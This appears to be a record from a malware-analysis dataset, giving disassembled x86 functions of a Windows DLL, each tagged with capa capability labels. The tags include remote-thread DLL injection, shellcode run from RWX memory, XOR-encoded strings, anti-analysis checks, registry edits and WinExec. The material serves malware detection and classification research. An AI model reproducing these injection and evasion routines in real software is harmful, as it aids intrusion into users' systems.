joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008340
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10034850
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10c]
push eax
push 0x1000
lea ecx, [ebp - 0x110c]
push ecx
xor esi, esi
push ebx
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
jne 0x10008391
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret 4
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
test edi, edi
jle 0x100083f6
nop
mov eax, dword [ebp + esi*4 - 0x110c]
push 0x104
lea edx, [ebp - 0x108]
push edx
push eax
push ebx
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
test eax, eax
je 0x100083f1
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x108]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100083e8
test dl, dl
je 0x100083e4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100083e8
add eax, 2
add ecx, 2
test dl, dl
jne 0x100083c8
xor eax, eax
jmp 0x100083ed
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000840a
inc esi
cmp esi, edi
jl 0x100083a0
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.1002121a
mov esp, ebp
pop ebp
ret 4

Function at 0x10008420
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x1000845c
mov eax, dword [ebp + 8]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008463
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
pop esi
pop ebp
ret 4
push 0x10042b70
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000844e
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x1000844e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10008456
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
pop esi
pop ebp
ret 4

Function at 0x10008650
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x100
push 0x101ad158
call esi
mov ecx, dword [ebp + 8]
push 0x100
add ecx, 5
push ecx
push 0x101ad158
call fcn.100242f0
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push 0x100
push 0x101ad158
call esi
push 0
push 0
push 0
push 0x100085f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10008720
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10024b90
add esp, 0xc
lea ecx, [ebp - 0xe0]
push ecx
mov dword [ebp - 0xe0], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x48]
push edx
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov esi, ecx
mov edx, eax
shrd edx, esi, 0x14
shr esi, 0x14
sub eax, dword [ebp - 0x38]
push edx
sbb ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0xdc]
shrd eax, ecx, 0x14
push eax
mov eax, dword [ebp - 0xd4]
push eax
shr ecx, 0x14
mov ecx, dword [ebp - 0xd8]
push ecx
push edx
push str.PREMIUM
push 0x1004ae38
call fcn.10004750
add esp, 4
push eax
push 0
mov ecx, 0x100aab80
call fcn.10004f40
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.1002121a
mov esp, ebp
pop ebp
ret
Function at 0x10009020
Capabilities:
Check if file exists
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
mov eax, dword [0x10049650]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov dword [esp + 0x14], 0
mov ecx, 0xf
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.LMEZZQY_KEYnnnqmSLLVPH]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x18
jb 0x10009050
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea eax, [esp + 0x28]
push eax
mov byte [esp + 0x44], 0
call ebx
test eax, eax
jne 0x1000910b
mov ecx, 0x15
jmp 0x10009090
mov dl, byte [eax + str.V_Kxnz_pg_wHDF]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009090
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x2b], 0
call ebx
test eax, eax
jne 0x1000910b
mov edi, 0x68b0a728
lea esi, [esp + 0x84]
call fcn.1001c580
push eax
call ebx
test eax, eax
jne 0x1000910b
mov edi, 0x10042d1c
sub edi, 0x32593faf
lea esi, [esp + 0x64]
call fcn.1001c5b0
push eax
call ebx
test eax, eax
jne 0x1000910b
mov edi, str.S_Kxnz_pg_wHDF
sub edi, 0x43f2140e
lea esi, [esp + 0x74]
call fcn.1001c5e0
push eax
call ebx
test eax, eax
jne 0x1000910b
xor al, al
jmp 0x1000910d
mov al, 1
test al, al
jne 0x1000921b
mov ecx, 6
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + str.UHN__JHRByr_gzpcDNsuxrilbWQV_HSLXXEB_s_ZWSDdBKPRLZ2]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x3b
jb 0x10009120
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x77], 0
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x100091a1
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x10]
push edx
push 4
push 0
lea eax, [esp + 0x28]
push eax
push ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0x30], 0x75526f4e
mov word [esp + 0x34], 0x6e
call edi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov ecx, 0xa1
xor eax, eax
jmp 0x100091b0
mov dl, byte [eax + 0x10042d78]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x100091b0
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
lea ecx, [esp + 0x34]
push ecx
push connect
mov byte [esp + 0x66], 0
call esi
test eax, eax
jne 0x1000921b
push 4
lea edx, [esp + 0x10]
push edx
push 4
mov dword [esp + 0x18], eax
push eax
mov ecx, 0x10042da4
sub ecx, 0x38d41ae2
lea eax, [esp + 0x28]
call fcn.1001c610
push eax
mov eax, dword [esp + 0x24]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call ebx
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1002121a
mov esp, ebp
pop ebp
ret
Function at 0x1000a8c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ccf8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10049650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101abca8]
cmp eax, 0x927c0
jb 0x1000a903
call esi
mov dword [0x101abca8], eax
xor esi, esi
cmp dword [0x101abc94], esi
je 0x1000a974
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov edx, dword [0x101abc98]
push edx
lea eax, [ebp - 0x20]
push eax
call fcn.1000a6a0
mov edi, dword [ebp - 0x20]
test al, al
je 0x1000a95d
cmp edi, dword [ebp - 0x1c]
je 0x1000a95d
lea ecx, [ebp - 0x20]
push ecx
call fcn.1000a990
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000a974
push edi
call fcn.1002120f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000ac00
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003ccc8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x10049650]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101abca8]
cmp eax, 0x927c0
jb 0x1000ac47
call esi
mov dword [0x101abca8], eax
xor esi, esi
push esi
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
push 0x14
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x48], esi
call fcn.1000a6a0
mov edi, dword [esp + 0x14]
test al, al
jne 0x1000ac98
cmp edi, dword [esp + 0x18]
jne 0x1000aca2
lea eax, [esp + 0x14]
push eax
call fcn.1000ad90
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000acba
push edi
call fcn.1002120f
add esp, 4
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000acd0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003ccf8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
push edi
mov eax, dword [0x10049650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x101abca8]
cmp eax, 0x927c0
jb 0x1000ad13
call esi
mov dword [0x101abca8], eax
xor esi, esi
push esi
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
push 0x14
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 4], esi
call fcn.1000a6a0
mov edi, dword [ebp - 0x20]
test al, al
jne 0x1000ad57
cmp edi, dword [ebp - 0x1c]
jne 0x1000ad60
lea eax, [ebp - 0x20]
push eax
call fcn.1000ad90
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
cmp edi, esi
je 0x1000ad77
push edi
call fcn.1002120f
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000b6d0
Capabilities:
Check if file exists
Encode data using xor
Set registry value

Disassembly:
movzx ecx, byte [eax + 4]
push esi
push edi
cmp ecx, 6
ja case.0x1000b6df.5
jmp dword [ecx*4 + 0x1000b7a8]
pop edi
pop esi
jmp fcn.10009020
cmp dword [0x10ace694], 0
jne case.0x1000b6df.5
xor ecx, ecx
mov edi, 0x100097b0
mov dword [0x10ace694], 1
call fcn.100042b0
pop edi
pop esi
ret
cmp dword [0x10ace694], 0
jne case.0x1000b6df.5
xor ecx, ecx
mov edi, 0x100097b0
mov dword [0x10ace694], 2
call fcn.100042b0
pop edi
pop esi
ret
cmp dword [0x10ace694], 0
jne case.0x1000b6df.5
xor ecx, ecx
mov edi, 0x100097b0
mov dword [0x10ace694], 3
call fcn.100042b0
pop edi
pop esi
ret
cmp dword [0x10ace694], 0
jne case.0x1000b6df.5
xor ecx, ecx
mov edi, 0x100097b0
mov dword [0x10ace694], 4
call fcn.100042b0
pop edi
pop esi
ret
cmp byte [eax + 0x18], 0x11
lea esi, [eax + 0x14]
push 0
mov ecx, esi
jne 0x1000b78e
push 0
jmp 0x1000b790
push 1
call dword [0x10ace68c]
push 0x3c
push 0
push esi
call fcn.10024b90
add esp, 0xc
pop edi
pop esi
ret
Function at 0x1000cd30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d2c8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x75
xor eax, eax
mov bl, byte [eax + 0x10043158]
xor bl, cl
inc ecx
mov byte [ebp + eax - 0x34], bl
inc eax
and ecx, 0xff
cmp eax, 0x21
jb 0x1000cd62
mov byte [ebp - 0x13], dl
lea eax, [ebp - 0x34]
push eax
push 2
mov eax, 0x100abab8
mov dword [ebp - 4], edx
call fcn.10005820
add esp, 8
call fcn.10004450
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret

Function at 0x1000cdc0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x49
xor eax, eax
mov dl, byte [eax + str.:__8__8_q]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x1000cdd7
push 0
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10004450
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret
Function at 0x1000dc40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003dba8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 0x68], ebx
call fcn.10003df0
test al, al
jne 0x1000dcd9
call fcn.10003ea0
test al, al
jne 0x1000dcd9
mov edi, 0x2a324216
lea esi, [ebp - 0x38]
call fcn.1001c870
push ebx
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x1000dcd9
mov edi, str.r_jaajkmfg
sub edi, 0x3ed419b4
lea esi, [ebp - 0x28]
call fcn.1001c8a0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
test eax, eax
jne 0x1000dcd9
mov ecx, str.zGINS_nAJK
sub ecx, 0x13b12eb4
lea eax, [ebp - 0x1c]
call fcn.1001c8d0
push eax
call esi
test eax, eax
jne 0x1000dcd9
xor al, al
jmp 0x1000dcdb
mov al, 1
cmp al, bl
je 0x1000dd18
mov ecx, 0xe8
xor eax, eax
mov dl, byte [eax + 0x10043208]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x64], dl
inc eax
and ecx, 0xff
cmp eax, 0x2a
jb 0x1000dce6
mov byte [ebp - 0x3a], bl
lea eax, [ebp - 0x64]
push eax
push 2
mov eax, 0x100abab8
mov dword [ebp - 4], ebx
call fcn.10005820
add esp, 8
cmp byte [0x10ace6a2], bl
jne 0x1000dd2c
xor ecx, ecx
mov edi, 0x1000ce20
call fcn.100042b0
cmp byte [0x10ace6a0], bl
jne 0x1000dd40
xor ecx, ecx
mov edi, 0x1000d330
call fcn.100042b0
cmp byte [0x10ace6a3], bl
jne 0x1000dd54
xor ecx, ecx
mov edi, 0x1000af60
call fcn.100042b0
cmp byte [0x10ace6a1], bl
jne 0x1000dd68
xor ecx, ecx
mov edi, 0x1000d070
call fcn.100042b0
cmp byte [0x10ace6a4], bl
jne 0x1000dd7c
xor ecx, ecx
mov edi, 0x1000ddb0
call fcn.100042b0
mov dword [0x10ace6a0], ebx
mov byte [0x10ace6a4], bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret
Function at 0x10014e10
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d577
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10049650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x10043ce0
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.100016a0
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.1001a150
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10014ea3
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.10001560
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.10017ef0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x10aceff0]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10016a10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003cc68
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x10049650]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x10016b31
cmp byte [edi + 0x49], bl
je 0x10016b31
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x10016b25
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10016a85
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x10016a9d
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x10016ac6
dec eax
je 0x10016aca
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x10016b20
jmp 0x10016b2c
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x10016ada
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x10016b03
cmp ebx, 0x10
jae 0x10016ae9
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.10023543
add esp, 0x10
cmp esi, eax
jne 0x10016b1d
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x10016b29
test esi, esi
jne 0x10016a91
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10015e40
jmp 0x10016a8b
lea ecx, [ebp - 0x2c]
call fcn.10014170
xor al, al
jmp 0x10016b33
lea ecx, [ebp - 0x2c]
call fcn.10014170
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1002121a
mov esp, ebp
pop ebp
ret
Function at 0x10017ef0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003caeb
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10049650]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10020882
push 4
mov dword [ebp - 4], 0
call fcn.100238b1
mov edi, eax
add esp, 4
test edi, edi
je 0x10017f70
call fcn.1002067d
mov dword [edi], eax
call fcn.1002043c
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.10020843
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x10017f66
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.1002086b
jmp 0x10017f72
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001c110
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xdd
xor ecx, ecx
jmp 0x1001c120
mov al, byte [edi + ecx - 0x6db8ad5e]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x16
jb 0x1001c120
mov byte [esi + 0x16], 0
mov eax, esi
ret

Function at 0x1001c3f0
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x82
xor ecx, ecx
jmp 0x1001c400
mov al, byte [edi + ecx + 0x2e62e9b2]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x19
jb 0x1001c400
mov byte [esi + 0x19], 0
mov eax, esi
ret

Function at 0x1001c420
Capabilities:
Encode data using xor

Disassembly:
mov edx, 9
xor ecx, ecx
jmp 0x1001c430
mov al, byte [edi + ecx - 0x7bd60ae8]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0x1a
jb 0x1001c430
mov byte [esi + 0x1a], 0
mov eax, esi
ret

Function at 0x1001c520
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xf3
xor ecx, ecx
jmp 0x1001c530
mov al, byte [edi + ecx - 0x2b8b1aec]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xc
jb 0x1001c530
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001c550
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0xae
xor ecx, ecx
jmp 0x1001c560
mov al, byte [edi + ecx - 0x37b821da]
xor al, dl
inc edx
mov byte [ecx + esi], al
inc ecx
and edx, 0xff
cmp ecx, 0xe
jb 0x1001c560
mov byte [esi + 0xe], 0
mov eax, esi
ret